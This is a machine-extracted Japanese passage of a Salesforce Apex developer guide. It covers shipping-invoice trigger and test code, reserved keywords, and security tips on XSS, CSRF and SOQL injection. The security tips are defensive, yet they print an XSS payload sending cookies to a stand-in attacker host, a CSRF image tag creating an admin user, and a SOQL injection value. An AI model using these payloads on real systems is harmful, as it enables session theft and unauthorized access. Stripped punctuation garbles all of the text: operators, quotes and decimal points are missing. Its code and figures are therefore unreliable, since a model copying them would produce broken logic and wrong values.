トリガに含まれるこのアプリケーションのすべてのApexこのアプリケーションには次のトリガがあります

説明実行タイミングトリガ名オブジェクト

納入先請求書を更新し合計および総量を計算します

挿入後更新後削除後CalculateItem

納入先請求書を更新し送料割引があるかどうかを計算します

更新後ShippingDiscountShipping_invoice

次はユーザアクションとトリガが実行されるタイミングの一般的な流れです

付録 A 納入先請求書の例 Version 180 | 納入先請求書の例ウォークスルー | 390

1 [注文] [新規]をクリックして納入先請求書の名前を付け[保存] をクリックします2 [新規品目] をクリックし情報を入力してから [保存] をクリックします3 Calculate トリガが実行されますCalculate トリガの一部により納入先請求書を更新します4 ShippingDiscount トリガが実行されます5 請求書内の品目を追加削除または変更します

トリガおよびテストクラスの納入先請求書の例コードが表示されますこのコードのコマンドは機能について説明します

納入先請求書アプリケーションのテスト

パッケージの一部としてアプリケーションを追加する前にコードのうち 75 にユニットテストを行う必要がありますそのため納入先請求書アプリケーションの一部はトリガのテストに使用するクラスとなります

テストクラスは次のアクションが正常に行われたことを確認します

bull 品目の挿入bull 品目の更新bull 品目の削除bull 送料割引の適用bull 不正入力の負のテスト

納入先請求書の例コード

次のトリガおよびテストクラスは納入先請求書の例のアプリケーションを構成しています

付録 A 納入先請求書の例 Version 180 | 納入先請求書の例コード | 391

bull Calculate トリガbull ShippingDiscount トリガbull テストクラス

Calculate トリガ

trigger calculate on Item__c (after insert after update after delete)

重複する値を使用できないためマップを使用

MapltID Shipping_Invoice__Cgt updateMap = new MapltID Shipping_Invoice__Cgt()

Integer の減算を削除している場合この整数を -1 に設定

トリガタイプに基づいて項目のリストを入力 ListltItem__cgt itemList if(triggerisInsert ||triggerisUpdate) itemList = triggernew subtract = 1 else if(triggerisDelete) Note -- there is no triggernew in delete itemList = triggerold subtract = -1

必要に応じて問い合わせるのではなく 単一クエリーで必要なすべての情報にアクセスする これは要求の一括処理のベストプラクティスです

setltIdgt AllItems = new setltidgt()

for(item__c i itemList) 数値が負でないことを確認 負の値の場合項目は無効です

Systemassert(iquantity__c gt 0 Quantity must be positive) Systemassert(iweight__cgt= 0 Weight must be non-negative) Systemassert(iprice__c gt= 0 Price must benon-negative)

ID が重複する場合セットには追加されません AllItemsadd(iShipping_Invoice__C)

トリガの項目に関連するすべての納入先請求書にアクセスする ListltShipping_Invoice__CgtAllShippingInvoices = [SELECT id ShippingDiscount__c SubTotal__c TotalWeight__c Tax__cGrandTotal__c FROM Shipping_Invoice__C where id in AllItems]

入力したリストを使用しマップに投入する リストを反復する必要があるため納入先請求書を検索しやすくなりますが マップのルックアップを使用できます MapltID Shipping_Invoice__Cgt SIMap = new MapltIDShipping_Invoice__Cgt()

for(Shipping_Invoice__C sc AllShippingInvoices) SIMapput(scid sc)

項目のリストを処理 if(triggerisUpdate) 更新を各項目の相違を明らかにするのではなく 項目から取得した古い項目の削除 および追加と同じように処理します 更新には triggernew および triggeroldがあります for(integer x = 0 x lt triggeroldsize() x++) Shipping_Invoice__C myOrdermyOrder = SIMapget(triggerold[x]Shipping_Invoice__C)

小計および重みから以前の値を引きます myOrderSubTotal__c -= (triggerold[x]price__c triggerold[x]quantity__c) myOrderTotalWeight__c -= (triggerold[x]weight__c triggerold[x]quantity__c)

新しい小計および重みを追加します myOrderSubTotal__c += (triggernew[x]price__c triggernew[x]quantity__c) myOrderTotalWeight__c += (triggernew[x]weight__c triggernew[x]quantity__c)

for(Shipping_Invoice__C myOrder AllShippingInvoices)

税率を 925 に設定しますこれは簡単な例です 通常はハードコア値ではありません 税率のカスタム設定を使用することがベストプラクティスです 詳細は『Apex 開発者ガイド』 の「カスタム設定」を参照してください myOrderTax__c = myOrderSubtotal__c 0925

付録 A 納入先請求書の例 Version 180 | 納入先請求書の例コード | 392

送料割引をリセットします myOrderShippingDiscount__c = 0

送料の比率を 1 ポンド当たり 75 遷都に設定します 通常はハードコア値ではありません 送料のカスタム設定を使用することがベストプラクティスです 詳細は『Apex 開発者ガイド』 の「カスタム設定」を参照してください myOrderShipping__c = (myOrdertotalWeight__c 75) myOrderGrandTotal__c= myOrderSubTotal__c + myOrdertax__c + myOrderShipping__c updateMapput(myOrderidmyOrder) else for(Item__c itemToProcess itemList) Shipping_Invoice__C myOrder

以前取得した納入先請求書から適切な納入先請求書を検索します myOrder =SIMapget(itemToProcessShipping_Invoice__C) myOrderSubTotal__c += (itemToProcessprice__c itemToProcessquantity__c subtract) myOrderTotalWeight__c += (itemToProcessweight__c itemToProcessquantity__c subtract)

for(Shipping_Invoice__C myOrder AllShippingInvoices)

税率を 925 に設定しますこれは簡単な例です 通常はハードコア値ではありません 税率のカスタム設定を使用することがベストプラクティスです 詳細は『Apex 開発者ガイド』 の「カスタム設定」を参照してください myOrderTax__c = myOrderSubtotal__c 0925

送料割引をリセットします myOrderShippingDiscount__c = 0

送料の比率を 1 ポンド当たり 75 遷都に設定します 通常はハードコア値ではありません 送料のカスタム設定を使用することがベストプラクティスです 詳細は『Apex 開発者ガイド』 の「カスタム設定」を参照してください myOrderShipping__c = (myOrdertotalWeight__c 75) myOrderGrandTotal__c= myOrderSubTotal__c + myOrdertax__c + myOrderShipping__c

updateMapput(myOrderid myOrder)

最後に 1 つの DML 更新だけを使用します このトリガから生成された DML 要求の数を最小化します updateupdateMapvalues()

ShippingDiscount トリガ

trigger ShippingDiscount on Shipping_Invoice__C (before update) $100 以上を購入したすべての注文は送料無料

for(Shipping_Invoice__C myShippingInvoice triggernew) if((myShippingInvoicesubtotal__cgt= 10000) ampamp (myShippingInvoiceShippingDiscount__c == 0)) myShippingInvoiceShippingDiscount__c = myShippingInvoiceShipping__c -1myShippingInvoiceGrandTotal__c += myShippingInvoiceShippingDiscount__c

納入先請求書のテスト

IsTest private class TestShippingInvoice

一回の公開静的 testmethod で3つの項目を挿入することに対するテストを行います testBulkItemInsert() 納入先請求書を作成しますテストで無関係なデータがないよう デフォルトを使用またはすべての値を

明示的に 0 に設定する ことがベストプラクティスですShipping_Invoice__C order1 = newShipping_Invoice__C(subtotal__c = 0 totalweight__c = 0 grandtotal__c = 0ShippingDiscount__c = 0 Shipping__c = 0 tax__c = 0)

注文を挿入し項目を入力します insert Order1 ListltItem__cgt list1 = new ListltItem__cgt()Item__c item1 = new Item__C(Price__c = 10 weight__c = 1 quantity__c = 1 Shipping_Invoice__C= order1id) Item__c item2 = new Item__C(Price__c = 25 weight__c = 2 quantity__c = 1Shipping_Invoice__C = order1id) Item__c item3 = new Item__C(Price__c = 40 weight__c =3 quantity__c = 1 Shipping_Invoice__C = order1id) list1add(item1) list1add(item2)list1add(item3) insert list1

付録 A 納入先請求書の例 Version 180 | 納入先請求書の例コード | 393

注文を取得しアソシエーションを実行します order1 = [SELECT id subtotal__c tax__cshipping__c totalweight__c grandtotal__c shippingdiscount__c FROM Shipping_Invoice__CWHERE id = order1id]

Systemassert(order1subtotal__c == 75 Order subtotal was not $75 but was +order1subtotal__c) Systemassert(order1tax__c == 69375 Order tax was not $69375 butwas + order1tax__c) Systemassert(order1shipping__c == 450 Order shipping was not$450 but was + order1shipping__c) Systemassert(order1totalweight__c == 600 Orderweight was not 6 but was + order1totalweight__c) Systemassert(order1grandtotal__c== 864375 Order grand total was not $864375 but was + order1grandtotal__c)Systemassert(order1shippingdiscount__c == 0 Order shipping discount was not $0 but was + order1shippingdiscount__c)

一回の公開静的 testmethod で3つの項目を更新することに対するテストを行います testBulkItemUpdate()

納入先請求書を作成しますテストで無関係なデータがないよう デフォルトを使用またはすべての値を明示的に 0 に設定する ことがベストプラクティスですShipping_Invoice__C order1 = newShipping_Invoice__C(subtotal__c = 0 totalweight__c = 0 grandtotal__c = 0ShippingDiscount__c = 0 Shipping__c = 0 tax__c = 0)

注文を挿入し項目を入力します insert Order1 ListltItem__cgt list1 = new ListltItem__cgt()Item__c item1 = new Item__C(Price__c = 1 weight__c = 1 quantity__c = 1 Shipping_Invoice__C= order1id) Item__c item2 = new Item__C(Price__c = 2 weight__c = 2 quantity__c = 1Shipping_Invoice__C = order1id) Item__c item3 = new Item__C(Price__c = 4 weight__c = 3quantity__c = 1 Shipping_Invoice__C = order1id) list1add(item1) list1add(item2)list1add(item3) insert list1

3 つの項目の価格を更新します list1[0]price__c = 10 list1[1]price__c = 25 list1[2]price__c= 40 update list1

注文にアクセスし更新された項目を確認します order1 = [SELECT id subtotal__c tax__cshipping__c totalweight__c grandtotal__c shippingdiscount__c FROM Shipping_Invoice__CWHERE id = order1id]

Systemassert(order1subtotal__c == 75 Order subtotal was not $75 but was +order1subtotal__c) Systemassert(order1tax__c == 69375 Order tax was not $69375 butwas + order1tax__c) Systemassert(order1shipping__c == 450 Order shipping was not$450 but was + order1shipping__c) Systemassert(order1totalweight__c == 600 Orderweight was not 6 but was + order1totalweight__c) Systemassert(order1grandtotal__c== 864375 Order grand total was not $864375 but was + order1grandtotal__c)Systemassert(order1shippingdiscount__c == 0 Order shipping discount was not $0 but was + order1shippingdiscount__c)

無効な項目の公開静的 testmethod を削除することに対するテストを行います testBulkItemDelete()

納入先請求書を作成しますテストで無関係なデータがないよう デフォルトを使用またはすべての値を明示的に 0 に設定する ことがベストプラクティスですShipping_Invoice__C order1 = newShipping_Invoice__C(subtotal__c = 0 totalweight__c = 0 grandtotal__c = 0ShippingDiscount__c = 0 Shipping__c = 0 tax__c = 0)

注文を挿入し項目に入力します insert Order1 ListltItem__cgt list1 = new ListltItem__cgt()Item__c item1 = new Item__C(Price__c = 10 weight__c = 1 quantity__c = 1 Shipping_Invoice__C= order1id) Item__c item2 = new Item__C(Price__c = 25 weight__c = 2 quantity__c = 1Shipping_Invoice__C = order1id) Item__c item3 = new Item__C(Price__c = 40 weight__c =3 quantity__c = 1 Shipping_Invoice__C = order1id) Item__c itemA = new Item__C(Price__c= 1 weight__c = 3 quantity__c = 1 Shipping_Invoice__C = order1id) Item__c itemB = newItem__C(Price__c = 1 weight__c = 3 quantity__c = 1 Shipping_Invoice__C = order1id)Item__c itemC = new Item__C(Price__c = 1 weight__c = 3 quantity__c = 1 Shipping_Invoice__C= order1id) Item__c itemD = new Item__C(Price__c = 1 weight__c = 3 quantity__c = 1Shipping_Invoice__C = order1id) list1add(item1) list1add(item2) list1add(item3)list1add(itemA) list1add(itemB) list1add(itemC) list1add(itemD) insert list1

付録 A 納入先請求書の例 Version 180 | 納入先請求書の例コード | 394

納入先請求書に 7 つの項目があります 次でそれらのうち 4 つを削除しますListltItem__cgt list2 =new ListltItem__cgt() list2add(itemA) list2add(itemB) list2add(itemC) list2add(itemD)delete list2

注文を取得し削除を確認します order1 = [SELECT id subtotal__c tax__c shipping__ctotalweight__c grandtotal__c shippingdiscount__c FROM Shipping_Invoice__C WHERE id =order1id]

Systemassert(order1subtotal__c == 75 Order subtotal was not $75 but was +order1subtotal__c) Systemassert(order1tax__c == 69375 Order tax was not $69375 butwas + order1tax__c) Systemassert(order1shipping__c == 450 Order shipping was not$450 but was + order1shipping__c) Systemassert(order1totalweight__c == 600 Orderweight was not 6 but was + order1totalweight__c) Systemassert(order1grandtotal__c== 864375 Order grand total was not $864375 but was + order1grandtotal__c)Systemassert(order1shippingdiscount__c == 0 Order shipping discount was not $0 but was + order1shippingdiscount__c) Testing free shipping public static testmethod voidtestFreeShipping()

納入先請求書を作成しますテストで無関係なデータがないよう デフォルトを使用またはすべての値を明示的に 0 に設定する ことがベストプラクティスですShipping_Invoice__C order1 = newShipping_Invoice__C(subtotal__c = 0 totalweight__c = 0 grandtotal__c = 0ShippingDiscount__c = 0 Shipping__c = 0 tax__c = 0)

注文を挿入し項目を入力します insert Order1 ListltItem__cgt list1 = new ListltItem__cgt()Item__c item1 = new Item__C(Price__c = 10 weight__c = 1 quantity__c = 1 Shipping_Invoice__C= order1id) Item__c item2 = new Item__C(Price__c = 25 weight__c = 2 quantity__c = 1Shipping_Invoice__C = order1id) Item__c item3 = new Item__C(Price__c = 40 weight__c =3 quantity__c = 1 Shipping_Invoice__C = order1id) list1add(item1) list1add(item2)list1add(item3) insert list1

注文を削除し送料無料が適用されないことを確認します order1 = [SELECT id subtotal__c tax__cshipping__c totalweight__c grandtotal__c shippingdiscount__c FROM Shipping_Invoice__CWHERE id = order1id]

$75 の注文では送料無料は適用されません Systemassert(order1subtotal__c == 75 Order subtotalwas not $75 but was + order1subtotal__c) Systemassert(order1tax__c == 69375 Ordertax was not $69375 but was + order1tax__c) Systemassert(order1shipping__c == 450Order shipping was not $450 but was + order1shipping__c)Systemassert(order1totalweight__c == 600 Order weight was not 6 but was +order1totalweight__c) Systemassert(order1grandtotal__c == 864375 Order grand totalwas not $864375 but was + order1grandtotal__c) Systemassert(order1shippingdiscount__c== 0 Order shipping discount was not $0 but was + order1shippingdiscount__c)

項目を追加して小計を増やします item1 = new Item__C(Price__c = 25 weight__c = 20 quantity__c= 1 Shipping_Invoice__C = order1id) insert item1

注文を取得し送料無料が適用されることを確認します order1 = [SELECT id subtotal__c tax__cshipping__c totalweight__c grandtotal__c shippingdiscount__c FROM Shipping_Invoice__CWHERE id = order1id]

注文の合計が $100 であるため送料無料となります Systemassert(order1subtotal__c == 100Order subtotal was not $100 but was + order1subtotal__c) Systemassert(order1tax__c== 925 Order tax was not $925 but was + order1tax__c)Systemassert(order1shipping__c == 1950 Order shipping was not $1950 but was +order1shipping__c) Systemassert(order1totalweight__c == 2600 Order weight was not26 but was + order1totalweight__c) Systemassert(order1grandtotal__c == 10925 Ordergrand total was not $864375 but was + order1grandtotal__c)Systemassert(order1shippingdiscount__c == -1950 Order shipping discount was not -$1950but was + order1shippingdiscount__c)

不正な入力公開静的 testmethod を挿入する負のテスト testNegativeTests()

納入先請求書を作成しますテストで無関係なデータがないよう デフォルトを使用またはすべての値を明示的に 0 に設定する ことがベストプラクティスですShipping_Invoice__C order1 = new

付録 A 納入先請求書の例 Version 180 | 納入先請求書の例コード | 395

Shipping_Invoice__C(subtotal__c = 0 totalweight__c = 0 grandtotal__c = 0ShippingDiscount__c = 0 Shipping__c = 0 tax__c = 0)

注文を挿入し項目を入力します insert Order1 Item__c item1 = new Item__C(Price__c = -10weight__c = 1 quantity__c = 1 Shipping_Invoice__C = order1id) Item__c item2 = newItem__C(Price__c = 25 weight__c = -2 quantity__c = 1 Shipping_Invoice__C = order1id)Item__c item3 = new Item__C(Price__c = 40 weight__c = 3 quantity__c = -1Shipping_Invoice__C = order1id) Item__c item4 = new Item__C(Price__c = 40 weight__c =3 quantity__c = 0 Shipping_Invoice__C = order1id)

try insert item1 catch(Exception e) systemassert(egetMessage()contains(Price mustbe non-negative) Price was negative but was not caught)

try insert item2 catch(Exception e) systemassert(egetMessage()contains(Weightmust be non-negative) Weight was negative but was not caught)

try insert item3 catch(Exception e) systemassert(egetMessage()contains(Quantitymust be positive) Quantity was negative but was not caught)

try insert item4 catch(Exception e) systemassert(egetMessage()contains(Quantitymust be positive) Quantity was zero but was not caught)

付録 A 納入先請求書の例 Version 180 | 納入先請求書の例コード | 396

付録

B予約キーワード

次の表はキーワードとして使用するために予約されそれ以外としては使用できない識別子を示しています

メモ アスタリスク () が付いたキーワードは今後の使用に予約されています

表 4 予約キーワード

retrievehavingabstractreturnhintactivatereturningifandrollbackimplementsanysavepointimportarraysearchinnerasselectinsertascsetinstanceofautonomousshortinterfacebeginsortintobigdecimalstatintblobsuperjoinbreakswitchlast_90_daysbulksynchronizedlast_monthbysystemlast_n_daysbytetestmethodlast_weekcasethenlikecastthislimitcatchthis_monthlistcharthis_weeklongclassthrowloopcollecttodaymapcommittolabelmergeconsttomorrownewcontinuetransactionnext_90_daysconvertcurrency

triggernext_monthdecimaltruenext_n_daysdefaulttrynext_weekdeletetypenotdescundeletenulldoupdatenullselseupsertnumberendusingobjectenumvirtualofexitwebserviceonexportwhenorextendswhereouterfalsewhileoverridefinalyesterdaypackagefinally

parallelfloatpragmaforprivatefromprotectedfuturepublicglobal

gotogroup

次の特別なキーワードを使用できます

bull afterbull beforebull countbull excludesbull firstbull includesbull lastbull orderbull sharingbull with

付録 B 予約キーワード Version 180 | | 398

付録

CApex 開発および Visualforce 開発のセキュリティのヒント

セキュリティとは

Apex および Visualforce ページの強力な組み合わせによりForcecom 開発者はSalesforcecom にカスタム機能およびビジネスロジックを提供またはForcecomプラットフォーム内部で実行するまったく新しい単独製品を作成することができますただしプログラミング言語と同様開発者はセキュリティ関連の不備について認識する必要があります

Salesforcecom は複数のセキュリティ防御を Forcecom プラットフォーム自体に統合しましたただし不注意な開発者は多くの場合に組み込み防御を回避しアプリケーションを顧客をセキュリティ上のリスクにさらしている場合があります開発者がForcecomプラットフォーム上で犯す多くのコーディングエラーは一般的なWebアプリケーションのセキュリティ脆弱性と類似しています一部のコーディングエラーはApex固有のものです

Forcecom AppExchange のアプリケーションを認証するには開発者はここで説明するセキュリティ上の弱点について学習および理解する必要があります

クロスサイトスクリプト (XSS)

クロスサイトスクリプト (XSS) の攻撃は悪意のある HTML またはクライアント側のスクリプトが Web アプリケーションに提供される幅広い範囲の攻撃となりますWeb アプリケーションにはWeb アプリケーションのユーザに対する悪意のあるスクリプトが含まれていますユーザは知らぬ間に攻撃の被害者となります攻撃者はWeb アプリケーションに対する被害者の信頼を利用し攻撃の媒体として Web アプリケーションを使用していますデータを適切に検証することなく動的 Web ページを表示する多くのアプリケーションは攻撃されやすいといえますWeb サイトに対する攻撃はあるユーザからの入力が別のユーザに表示されることを目的としている場合は特に単純です可能性として掲示板ユーザコメントスタイルの Web サイトニュースまたは電子メールアーカイブなどがあります

たとえば次のスクリプトがスクリプトコンポーネントonイベントまたは Visualforce ページを使用するForcecom ページに使用されているとします

ltscriptgtvar foo = $CurrentPageparametersuserparamscriptgtvar foo =$CurrentPageparametersuserparamltscriptgt

このスクリプトブロックはユーザが入力した userparamの値をページに挿入します攻撃者は userparamに次の値を入力することができます

1documentlocation=httpwwwattackercomcgi-bincookiecgi2Bdocumentcookievar20foo=2

この場合現在のページのすべての Cookies が cookiecgiスクリプトに対する要求のクエリ文字列としてwwwattackercomに送信されますこの時点で攻撃者は被害者のセッション Cookie を持っており彼らが被害者になりすまして Web アプリケーションに接続することができます

攻撃者はWeb サイトまたは電子メールを使用して悪意のあるスクリプトを送信できますWeb アプリケーションユーザは攻撃者の入力は確認できませんがブラウザは信頼されたコンテキストで攻撃者のスクリプトを実行できますこうした機能により攻撃者はさまざまな攻撃を被害者に対して行うことができます攻撃の範囲はウィンドウを開いたり閉じたりする単純なアクションからデータまたはセッションの Cookie を盗むなどのより悪意に満ちた攻撃にいたるまで幅広く被害者のセッションに対する攻撃者の完全アクセスを可能にします

こうした攻撃についての一般的な詳細は次の記事を参照してください

bull httpwwwowasporgindexphpCross_Site_Scriptingbull httpwwwcgisecuritycomarticlesxss-faqshtmlbull httpwwwowasporgindexphpTesting_for_Cross_site_scriptingbull httpwwwgooglecomsearchq=cross-site+scripting

Forcecom プラットフォーム内では複数の対 XSS 防御策が実行されていますたとえば多くの出力方法の有害な特性を除外するフィルタが実装されています標準クラスおよび出力方法を使用する開発者に対する XSSの脆弱性の脅威は大幅に緩和されていますただしクリエイティブな開発者はデフォルトのコントロールをわざとまたは偶然エスケープする方法を見つけることができます次のセクションでは保護されている場所保護されていない場所について説明しています

既存の保護

ltapexgtで始まるすべての標準 Visualforce コンポーネントでは対 XSS フィルタが設定されていますたとえばユーザに直接返されるユーザ指定の入力および出力を採用するため次のコードは通常 XSS の攻撃に対して脆弱ですがltapexoutputTextgtタグは XSS に対して安全ですHTML タグとされるすべての文字はリテラル形式に変換されますたとえばlt 文字は ampltに変換されユーザの画面上ではリテラル lt が表示されます

ltapexoutputTextgt $CurrentPageparametersuserInput ltapexoutputTextgt

Visualforce タグのエスケープの無効化

デフォルトではほぼすべての Visualforce タグは XSS に対して脆弱な文字をエスケープします省略可能な属性escape=falseを設定することによってこの動作を無効化することができますたとえば次の出力はXSS の攻撃に対して脆弱です

ltapexoutputText escape=false value=$CurrentPageparametersuserInput gt

XSS から保護されていないプログラミング項目

次の項目には XSS 保護を組み込んでいないためこれらのタグおよびオブジェクトを使用する場合は特別な保護を行う必要がありますこれはこれらの項目が開発者がスクリプトコマンドを挿入してページをカスタマ

付録 C Apex 開発および Visualforce 開発のセキュリティのヒント Version 180 | クロスサイトスクリプト (XSS) | 400

イズできるようになっているためです意図的にページに追加されるコマンドに対 XSS フィルタを指定しても意味はありません

カスタム JavaScript

独自の JavaScript を作成した場合Forcecom プラットフォームにはユーザを保護する方法がありませんたとえば JavaScript で使用している場合次のコードは XSS の攻撃に対して脆弱です

ltscriptgt var foo = locationsearch documentwrite(foo) ltscriptgt

ltapexincludeScriptgt

ltapexincludeScriptgt Visualforce コンポーネントを使用してページにカスタムスクリプトを追加できますこうした場合内容が安全でユーザが提供したデータが含まれていないことを慎重に確認してくださいたとえば次のスニペットはスクリプトの値としてユーザ提供の入力が含まれているため特に脆弱ですタグによって指定された値は使用する JavaScript への URL です攻撃者がパラメータに任意のデータを入力できる場合 (下記の例参照)被害者に別のWeb サイトの JavaScript ファイルを使用するよう指示することができる可能性があります

ltapexincludeScript value=$CurrentPageparametersuserInput gt

Visualforce ページのエスケープされない出力と式

escape属性を false に設定するコンポーネントを使用する場合または Visualforce コンポーネント外の式を含む場合出力が検索されずセキュリティの検証が必要です数式を使用する場合特に重要です

数式は関数コールとなるかプラットフォームオブジェクトユーザの環境システム環境要求の環境に関する情報を含むことができます式で生成される出力が表示時にエスケープされないことを認識することが重要です数式がサーバに表示されるためJavaScript またはその他のクライアント側の技術を使用してクライアントの表示データをエスケープすることはできませんこれにより数式が非システムデータ (悪意のあるまたは編集可能なデータ) を参照し式自体が関数にラップされていない場合表示中に出力をエスケープするという危険な状況を誘発する場合があります

一般的な脆弱性はユーザ入力をページに表示する場合に発生します例

ltapexpage extensions=secure standardController=Accountgt ltapexformgt ltapexcommandButtonrerender=outputIt value=Update Itgt ltapexinputText value=myTextFieldgt ltapexformgt

ltapexoutputPanel id=outputItgt Value of myTextField is ltapexoutputText value=myTextField escape=falsegt ltapexoutputPanelgt ltapexpagegt

エスケープされない myTextFieldによってもクロスサイトスクリプトの脆弱性が誘発されますたとえば

ltscriptgtalert(xss)

を入力し[更新]をクリックするとJavaScript が実行されますこの場合アラートダイアログが表示されますが悪意のある使用が設定されている場合があります

安全でないと考えられる文字列をエスケープするために使用できる関数があります

付録 C Apex 開発および Visualforce 開発のセキュリティのヒントVersion 180 | Visualforce ページのエスケープされない出力と式 | 4 0 1

HTMLENCODE

HTMLENCODE 関数は大なり記号 (gt) などの HTML で予約されている文字をampgtなどの HTML エンティティ文字に置き換えHTML で使用するテキスト文字列や差し込み項目値をエンコードします

JSENCODE

新しい JSENCODE 関数はバックスラッシュ () のようなエスケープ文字をアポストロフィー () のような安全でない JavaScript 文字の前に挿入してJavaScript で使用するテキスト文字列や差し込み項目値をエンコードします

JSINHTMLENCODE

新しい JSINHTMLENCODE関数はエスケープ文字を安全でない JavaScript 文字の前に挿入しHTMLで予約されている文字を HTML エンティティ文字に置き換えてHTML タグ内の JavaScript で使用するテキスト文字列や差し込み項目値をエンコードします

URLENCODE

新しい URLENCODE 関数は空白などの URL では不正な文字を RFC 3986 Uniform Resource Identifier (URI)Generic Syntax で定義されているようにこうした文字を表すコードに置き換えURL で使用するテキスト文字列や差し込み項目をエンコードしますたとえば感嘆符は 21に置き換えられます

前述の例を保護するために HTMLENCODEを使用するにはltapexoutputTextgtを次のように変更します

ltapexoutputText value= HTMLENCODE(myTextField) escape=falsegt

ユーザが ltscriptgtalert(xss)を入力し[更新] をクリックしてもJavaScript は実行されません代わりに文字列がエンコードされページには Value of myTextField is ltscriptgtalert(xss)と表示されます

タグの投入およびデータの使用によってエスケープされた文字およびエスケープが必要な文字が異なりますたとえば次のような文の場合

ltscriptgtvar ret = $CurrentPageparametersretURLscriptgtvar ret =$CurrentPageparametersretURLltscriptgt

リンクで使用されるためURL では HTML エスケープ文字の の代わりに 22を使用して二重引用符をエスケープする必要がありますそうでない場合次のような要求

httpexamplecomdemoredirecthtmlretURL=22foo223Balert(xss)3B2F2F

では次のようになります

ltscriptgtvar ret = fooalert(xss)ltscriptgt

JavaScript が実行しアラートが表示されます

この場合JavaScript が実行されないようにするためにJSENCODE関数を使用します例

ltscriptgtvar ret = JSENCODE($CurrentPageparametersretURL)ltscriptgt

また数式タグを使用してプラットフォームオブジェクトデータを追加することもできますデータがユーザの組織から直接取得されますがデータをエスケープしてユーザが他のユーザ (権限レベルがより高いユーザ) のコンテキストでコードを実行できなくなりますこれらの種類の攻撃は同じ組織内のユーザによって実行され

付録 C Apex 開発および Visualforce 開発のセキュリティのヒントVersion 180 | Visualforce ページのエスケープされない出力と式 | 4 0 2

組織のユーザロールを弱体化しデータ監査の完全性を提言させてしまいますまた多くの組織には外部ソースからインポートされたデータがありますが悪意のあるコンテンツの除外が行われない場合があります

クロスサイトリクエストフォージェリ (CSRF)

クロスサイトリクエストフォージェリ (CSRF) の弱点は防御がなくプログラムエラーはそれほどありません単純な例を示して CSRF を説明します攻撃者が wwwattackercomに Web ページを持っているとしますこの Web ページはそのサイトへの通信量を実行する変数サービスまたは情報を提供するページなどです攻撃者のページの一部は次のような HTML タグです

ltimgsrc=httpwwwyourwebpagecomyourapplicationcreateuseremail=attackerattackercomamptype=adminheight=1 width=1 gt

つまり攻撃者のページにはWeb サイトでアクションを実行する URL が指定されています攻撃者の Webページにアクセスしたときにもまだユーザが Web ページにログインしている場合URL が取得されアクションが実行されますユーザの Web ページへの認証がこのときも行われているためこの攻撃は成功しますこれは非常に単純な例であり攻撃者はコールバック要求を生成するスクリプトを使用してよりコードにしたりAJAX メソッドに対して CSRF 攻撃を行うこともあります

詳細および従来の防御策は以下を参照してください

bull httpwwwowasporgindexphpCross-Site_Request_Forgerybull httpwwwcgisecuritycomarticlescsrf-faqshtmlbull httpshiflettorgarticlescross-site-request-forgeries

Forcecom プラットフォーム内ではこの攻撃を回避する対 CSRF トークンが実装されていますすべてのページに無作為の文字列が非表示形式項目として指定されています次のページが読み込まれるとアプリケーションはこの文字列の正当性を確認し値が予測される値に一致しない限りコマンドは実行されませんこの機能によりすべての標準コントローラおよびメソッドの使用時にユーザを保護します

ここでもやはり開発者はリスクを認識することなく組み込みの防御策をスキップしてしまう場合がありますたとえばオブジェクト ID を入力パラメータとして使用するカスタムコントローラがあるその入力パラメータを SOQL コールで使用するとします次のスニペットについて考えます

ltapexpage controller=myClass action=initltapexpagegt

public class myClass public void init() Id id =ApexPagescurrentPage()getParameters()get(id) Account obj = [select id Name FROMAccount WHERE id = id] delete obj return

この場合開発者は独自のアクションメソッドを開発して知らないうちに対 CSRF コントロールをスキップしてしまいますidパラメータはコードで読み込まれ使用されます対 CSRF トークンは読み込まれたり検証されたりしません攻撃者の Web ページはCSRF 攻撃を使用してユーザをこのページに使用して移動させidパラメータに彼らが望む値を提供します

このような状況に対する組み込み防御策がないため開発者は前例の id変数のようなユーザ指定のパラメータに基づいてアクションを実行するページの書き込みに対し注意する必要があります解決策としてアクションを起こす前に中間の確認ページを挿入しユーザがそのページを呼び出しているのか確認することがありますその他の提案としては組織のアイドルセッションのタイムアウトを短くする他のサイトにアクセスする場合は有効なセッションからログアウトし認証されたままそのブラウザを使用しないようにするなどです

付録 C Apex 開発および Visualforce 開発のセキュリティのヒント Version 180 | クロスサイトリクエストフォージェリ( C S R F ) | 4 0 3

SOQL インジェクション

他のプログラミング言語ではこの弱点を SQL インジェクションといいますApex では SQL を使用しませんが独自のデータベースクエリ言語 SOQL を使用しますSOQL はSQL より単純で機能が制限されていますそのためSOQL インジェクションのリスクは SQL と比較して大幅に低くなりますが攻撃は従来の SQLインジェクションとほぼ同じです集計時はSQLSOQL インジェクションではユーザが提供した入力を取得しこれらの値を動的 SOQL クエリに使用します入力が検証されない場合SOQL ステートメントを効率的に変更する SOQL コマンドを指定しアプリケーションにトリックを仕掛けて意図しないコマンドを実行するようにします

SQL インジェクション攻撃の詳細は以下を参照してください

bull httpwwwowasporgindexphpSQL_injectionbull httpwwwowasporgindexphpBlind_SQL_Injectionbull httpwwwowasporgindexphpGuide_to_SQL_Injectionbull httpwwwgooglecomsearchq=sql+injection

Apex での SOQL インジェクションの脆弱性

以下に SOQL に対して脆弱な Apex コードおよび Visualforce の単純な例を示します

ltapexpage controller=SOQLController gt ltapexformgt ltapexoutputText value=名前を入力 gtltapexinputText value=name gt ltapexcommandButton value=Query action=queryldquo gtltapexformgt ltapexpagegt

public class SOQLController public String name get return name set name = value public PageReference query() String qryString = SELECT Id FROM Contact WHERE (IsDeleted= false and Name like + name + ) queryResult = Databasequery(qryString) returnnull

これは単純な例ですがロジックについて説明していますコードは削除されていない取引先責任者の検索を行うためのものですユーザは nameという入力値を指定します値はユーザが指定する任意の値で検証されませんSOQL クエリは動的に構築されDatabasequeryメソッドで実行されますユーザが正常な値を指定するとステートメントは次のとおり期待されたように実行されます

name = Bob sqyString = SELECT Id FROM Contact WHERE (IsDeleted = false and Name like Bob)

ただし次のようにユーザが予期しない入力を指定したかのようになります

name = test) or (Name like

この場合クエリ文字列は次のようになります

SELECT Id FROM Contact WHERE (IsDeleted = false and Name like test) or (Name like )

結果には削除されていない取引先責任者だけでなくすべての取引先責任者が表示されますSOQL インジェクションにより脆弱なクエリの対象となるロジックを変更することができます

付録 C Apex 開発および Visualforce 開発のセキュリティのヒント Version 180 | SOQL インジェクション | 404

SOQL インジェクションの防御策

SOQL インジェクションの攻撃を回避するには動的 SOQL クエリを使用しないようにします代わりに静的クエリとバインド変数を使用します上記の脆弱な例は次のように静的 SOQL を使用して書き直すことができます

public class SOQLController public String name get return name set name = value public PageReference query() String queryName = + name + queryResult = [SELECTId FROM Contact WHERE (IsDeleted = false and Name like queryName)] return null

